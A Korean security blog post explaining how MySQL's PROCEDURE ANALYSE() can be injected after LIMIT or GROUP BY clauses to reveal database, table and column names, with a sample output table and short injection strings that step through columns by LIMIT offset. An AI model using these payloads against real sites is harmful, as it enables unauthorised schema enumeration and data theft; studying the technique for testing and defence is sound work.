Hacking/Web.

MySQL procedure analyze()를 이용한 SQLi

2017. 1. 22. 01:49

 

현대건설힐스테이트배구단 레프트 고예림

 

 MySQL에서는 특정 쿼리에 대한 성능 개선을 위해 procedure analyse() 함수를 제공한다. 이 함수는 LIMIT statement와 GROUP BY statement 뒤에서도 사용할 수 있다는 특징이 있기 때문에 해당 statement에서 사용자 입력을 그대로 SQL query에 적용할 경우 개발자가 의도치 않은 상황을 만들어낼 수 있다. LIMIT, GROUP BY statement에서는 MySQL에서 SQL Injection 공격 시 사용하는 웬만한 함수들을 사용할 수 없으므로, 공격자 입장에서는 정말 매력적인 공격 시도가 될 수 있다.

 

 그리고 상황에 따라 테이블의 이름을 알아낼 수 있다. 예를 들어 PHP의 MySQL Query Fetch 계열 함수에서는 mysqli_fetch_array, mysqli_fetch_assoc, mysqli_fetch_row 총 3가지의 함수를 사용해서 QUERY Result를 Fetching하는데, mysqli_fetch_row를 이용하여 $row[0] 과 같은 형식으로 접근하는 경우에 운이 좋으면 PROCEDURE ANALYSE() 함수의 결과값을 얻을 수 있다.

 

select * from [table_name] where [condition] procedure analyze() 

 

+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+----------------------+

| Field_name      | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype    |

+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+----------------------+

| test.rank.id    | aaa       | aaa       |          3 |          3 |                0 |     0 | 3.0000                  | NULL   | ENUM('aaa') NOT NULL |

| test.rank.score | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL   |

+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+----------------------+

2 rows in set (0.00 sec)

 

 

 Field_name을 통해서 현재 작업중인 데이터베이스와 테이블 이름을 가져올 수 있다. 이를 조금 더 응용해서 LIMIT statement를 이용하면 테이블 내의 모든 column의 이름을 가져오는 것이 가능하다.

 
x = 1 PROCEDURE ANALYSE() #get first column name
x = 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
x = 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name
 

[*] special thx to Reiners’ Weblog ( https://websec.wordpress.com/2009/01/26/mysql-table-and-column-names-update/ )

 
 

 

 

'Hacking > Web.' 카테고리의 다른 글

sqli시 공백우회  (0) 2017.02.02
mysql error based sql injection  (0) 2017.01.25
Blind SQL Injection 시 테이블 수  (0) 2017.01.22
Error Based SQLi  (2) 2017.01.20
SQLi 문자열 비교(?)  (0) 2017.01.12